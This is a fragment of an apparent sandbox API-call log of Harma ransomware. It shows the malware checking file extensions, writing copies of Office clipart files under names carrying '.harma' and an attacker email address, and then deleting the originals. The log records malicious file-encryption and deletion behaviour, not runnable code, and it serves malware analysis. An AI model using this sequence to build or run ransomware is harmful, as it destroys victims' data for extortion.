(lpString1=".doc", lpString2=".WMF") returned -1 [0167.742] lstrlenW (lpString=".docx") returned 5 [0167.742] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.742] lstrlenW (lpString=".pdf") returned 4 [0167.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.742] lstrlenW (lpString=".xls") returned 4 [0167.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.742] lstrlenW (lpString=".xlsx") returned 5 [0167.742] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.742] lstrlenW (lpString=".ppt") returned 4 [0167.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString=".zip") returned 4 [0167.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.743] lstrlenW (lpString=".rar") returned 4 [0167.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString=".bz2") returned 4 [0167.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString=".7z") returned 3 [0167.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString=".dbf") returned 4 [0167.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString=".1cd") returned 4 [0167.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString=".jpg") returned 4 [0167.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.743] lstrlenW (lpString=".doc") returned 4 [0167.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.743] lstrlenW (lpString=".docx") returned 5 [0167.743] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.744] lstrlenW (lpString=".pdf") returned 4 [0167.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString=".xls") returned 4 [0167.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.744] lstrlenW (lpString=".xlsx") returned 5 [0167.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.744] lstrlenW (lpString=".ppt") returned 4 [0167.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.744] lstrlenW (lpString=".zip") returned 4 [0167.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.744] lstrlenW (lpString=".rar") returned 4 [0167.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString=".bz2") returned 4 [0167.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString=".7z") returned 3 [0167.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.744] lstrlenW (lpString=".dbf") returned 4 [0167.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.744] lstrlenW (lpString=".1cd") returned 4 [0167.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0167.744] lstrlenW (lpString=".jpg") returned 4 [0167.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.745] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.745] lstrlenW (lpString="J0105320.WMF") returned 12 [0167.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.808] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2020) returned 1 [0167.808] CloseHandle (hObject=0x330) returned 1 [0167.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0167.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.808] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.808] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.809] GetLastError () returned 0x0 [0167.809] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x7e4, lpOverlapped=0x0) returned 1 [0167.905] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0167.906] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0167.906] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.907] SetEndOfFile (hFile=0x364) returned 1 [0167.907] CloseHandle (hObject=0x364) returned 1 [0167.907] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.907] SetEndOfFile (hFile=0x330) returned 1 [0167.909] CloseHandle (hObject=0x330) returned 1 [0167.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0167.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.932] lstrlenW (lpString=".doc") returned 4 [0167.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.932] lstrlenW (lpString=".docx") returned 5 [0167.932] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.933] lstrlenW (lpString=".pdf") returned 4 [0167.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString=".xls") returned 4 [0167.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.933] lstrlenW (lpString=".xlsx") returned 5 [0167.933] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.933] lstrlenW (lpString=".ppt") returned 4 [0167.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.933] lstrlenW (lpString=".zip") returned 4 [0167.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.933] lstrlenW (lpString=".rar") returned 4 [0167.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString=".bz2") returned 4 [0167.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString=".7z") returned 3 [0167.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.933] lstrlenW (lpString=".dbf") returned 4 [0167.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.933] lstrlenW (lpString=".1cd") returned 4 [0167.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.933] lstrlenW (lpString=".jpg") returned 4 [0167.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.934] lstrlenW (lpString=".doc") returned 4 [0167.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString=".docx") returned 5 [0167.934] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.934] lstrlenW (lpString=".pdf") returned 4 [0167.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString=".xls") returned 4 [0167.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.934] lstrlenW (lpString=".xlsx") returned 5 [0167.934] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.934] lstrlenW (lpString=".ppt") returned 4 [0167.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.934] lstrlenW (lpString=".zip") returned 4 [0167.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.934] lstrlenW (lpString=".rar") returned 4 [0167.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString=".bz2") returned 4 [0167.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.934] lstrlenW (lpString=".7z") returned 3 [0167.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.935] lstrlenW (lpString=".dbf") returned 4 [0167.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.935] lstrlenW (lpString=".1cd") returned 4 [0167.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0167.935] lstrlenW (lpString=".jpg") returned 4 [0167.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.935] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.935] lstrlenW (lpString="J0105348.WMF") returned 12 [0167.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0167.936] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17060) returned 1 [0167.936] CloseHandle (hObject=0x3a0) returned 1 [0167.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0167.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0167.937] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.937] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0167.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0167.938] GetLastError () returned 0x0 [0167.938] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x42a4, lpOverlapped=0x0) returned 1 [0168.026] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x42b0, lpOverlapped=0x0) returned 1 [0168.027] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.027] WriteFile (in: hFile=0x218, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.027] SetEndOfFile (hFile=0x218) returned 1 [0168.027] CloseHandle (hObject=0x218) returned 1 [0168.027] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.028] SetEndOfFile (hFile=0x3a0) returned 1 [0168.033] CloseHandle (hObject=0x3a0) returned 1 [0168.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0168.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.046] lstrlenW (lpString=".doc") returned 4 [0168.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString=".docx") returned 5 [0168.047] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.047] lstrlenW (lpString=".pdf") returned 4 [0168.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString=".xls") returned 4 [0168.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.047] lstrlenW (lpString=".xlsx") returned 5 [0168.047] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.047] lstrlenW (lpString=".ppt") returned 4 [0168.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.047] lstrlenW (lpString=".zip") returned 4 [0168.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.047] lstrlenW (lpString=".rar") returned 4 [0168.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString=".bz2") returned 4 [0168.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString=".7z") returned 3 [0168.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.047] lstrlenW (lpString=".dbf") returned 4 [0168.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.047] lstrlenW (lpString=".1cd") returned 4 [0168.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.047] lstrlenW (lpString=".jpg") returned 4 [0168.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.048] lstrlenW (lpString=".doc") returned 4 [0168.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString=".docx") returned 5 [0168.048] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.048] lstrlenW (lpString=".pdf") returned 4 [0168.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString=".xls") returned 4 [0168.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.048] lstrlenW (lpString=".xlsx") returned 5 [0168.048] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.048] lstrlenW (lpString=".ppt") returned 4 [0168.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.048] lstrlenW (lpString=".zip") returned 4 [0168.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.048] lstrlenW (lpString=".rar") returned 4 [0168.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString=".bz2") returned 4 [0168.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString=".7z") returned 3 [0168.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.048] lstrlenW (lpString=".dbf") returned 4 [0168.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.048] lstrlenW (lpString=".1cd") returned 4 [0168.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0168.049] lstrlenW (lpString=".jpg") returned 4 [0168.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.049] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.049] lstrlenW (lpString="J0105376.WMF") returned 12 [0168.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0168.049] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4964) returned 1 [0168.049] CloseHandle (hObject=0x340) returned 1 [0168.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0168.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0168.050] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.050] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0168.051] GetLastError () returned 0x0 [0168.051] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1364, lpOverlapped=0x0) returned 1 [0168.148] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1370, lpOverlapped=0x0) returned 1 [0168.150] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.150] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.150] SetEndOfFile (hFile=0x328) returned 1 [0168.150] CloseHandle (hObject=0x328) returned 1 [0168.150] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.150] SetEndOfFile (hFile=0x340) returned 1 [0168.152] CloseHandle (hObject=0x340) returned 1 [0168.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0168.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.154] lstrlenW (lpString=".doc") returned 4 [0168.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.154] lstrlenW (lpString=".docx") returned 5 [0168.154] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.154] lstrlenW (lpString=".pdf") returned 4 [0168.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.154] lstrlenW (lpString=".xls") returned 4 [0168.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.154] lstrlenW (lpString=".xlsx") returned 5 [0168.154] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.154] lstrlenW (lpString=".ppt") returned 4 [0168.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0168.154] lstrlenW (lpString=".zip") returned 4 [0168.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.154] lstrlenW (lpString=".rar") returned 4 